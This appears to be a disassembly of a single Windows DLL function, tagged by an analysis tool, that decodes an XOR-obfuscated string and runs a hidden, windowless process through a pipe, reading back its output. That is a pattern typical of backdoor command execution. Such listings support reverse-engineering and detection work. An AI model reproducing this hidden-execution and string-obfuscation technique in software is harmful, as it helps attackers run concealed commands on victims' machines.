Function at 0x180023ae0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x180240300]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov rdi, r8
mov rsi, rdx
mov qword [rbp - 0x60], rdx
xor r13d, r13d
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.PJPYJkyc2bSKqzwj
lea rcx, [rsp + 0x58]
call fcn.180005680
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov r8d, 9
lea rdx, str.XUIbh__yF
lea rcx, [rsp + 0x78]
call fcn.180005680
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x98]
call fcn.180020240
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov r9d, r13d
mov qword [rbp + 0x60], r13
mov r11d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x68], r11
mov byte [rbp + 0x50], r9b
mov dword [rsp + 0x50], 4
mov ebx, r13d
cmp qword [rbp + 0xa8], r13
jbe 0x180023c59
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x68]
mov r12, qword [rsp + 0x58]
nop dword [rax]
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], 0xf
cmova rcx, qword [rbp + 0x98]
lea r8, [rsp + 0x58]
cmp r14, 0xf
cmova r8, r12
xor edx, edx
mov rax, rbx
div r15
movzx r10d, byte [rdx + r8]
xor r10b, byte [rcx + rbx]
cmp r9, r11
jae 0x180023c2b
lea rax, [r9 + 1]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x50]
cmp r11, 0xf
cmova rax, qword [rbp + 0x50]
mov byte [rax + r9], r10b
mov byte [rax + r9 + 1], 0
jmp 0x180023c40
movzx r9d, r10b
xor r8d, r8d
mov edx, 1
lea rcx, [rbp + 0x50]
call fcn.18003d400
inc rbx
cmp rbx, qword [rbp + 0xa8]
jae 0x180023c59
mov r11, qword [rbp + 0x68]
mov r9, qword [rbp + 0x60]
jmp 0x180023bd0
lea rcx, [rbp + 0x98]
call fcn.1800042b0
nop
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x180023c74
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp + 0x50]
call fcn.180004310
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x88], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x88], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0x50]
call fcn.1800042b0
nop
lea rcx, [rsp + 0x78]
call fcn.1800042b0
nop
lea rcx, [rsp + 0x58]
call fcn.1800042b0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rax
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x20], 0x68
mov dword [rbp - 0x40], 0x18
mov dword [rbp - 0x30], 1
mov qword [rbp - 0x38], r13
xor r9d, r9d
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x180023d57
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x180023d7c
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r13
xor r8d, r8d
lea rdx, [0x1801fc629]
mov rcx, rsi
call fcn.180005680
jmp 0x180023f0f
or dword [rbp + 0x1c], 0x101
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rax
mov word [rbp + 0x20], r13w
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rdx, qword [rbp + 0x78]
lea rax, [rbp - 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180023d43
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov rbx, r13
mov qword [rbp + 0x60], rbx
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x68], r14
mov byte [rbp + 0x50], bl
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x70]
mov r8d, 0x80
lea rdx, [rbp + 0xc0]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180023ec8
mov eax, dword [rbp + 0x70]
test eax, eax
je 0x180023ec8
mov edi, eax
mov rax, r14
sub rax, rbx
cmp rdi, rax
ja 0x180023e7c
lea rax, [rbx + rdi]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x50]
cmp r14, 0xf
cmova rax, qword [rbp + 0x50]
add rbx, rax
mov r8d, edi
lea rdx, [rbp + 0xc0]
mov rcx, rbx
call fcn.1801d8b30
mov byte [rbx + rdi], 0
jmp 0x180023e97
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xc0]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x50]
call fcn.180006010
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x70]
mov r8d, 0x80
lea rdx, [rbp + 0xc0]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180023ec8
mov r14, qword [rbp + 0x68]
mov rbx, qword [rbp + 0x60]
jmp 0x180023e34
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [rbp + 0x50]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rbp + 0x60]
movups xmmword [rsi + 0x10], xmm1
mov qword [rbp + 0x60], r13
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x50], 0
lea rcx, [rbp + 0x50]
call fcn.1800042b0
nop
lea rcx, [rbp + 0x78]
call fcn.1800042b0
mov rax, rsi
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.18017b860
mov rbx, qword [rsp + 0x290]
add rsp, 0x250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret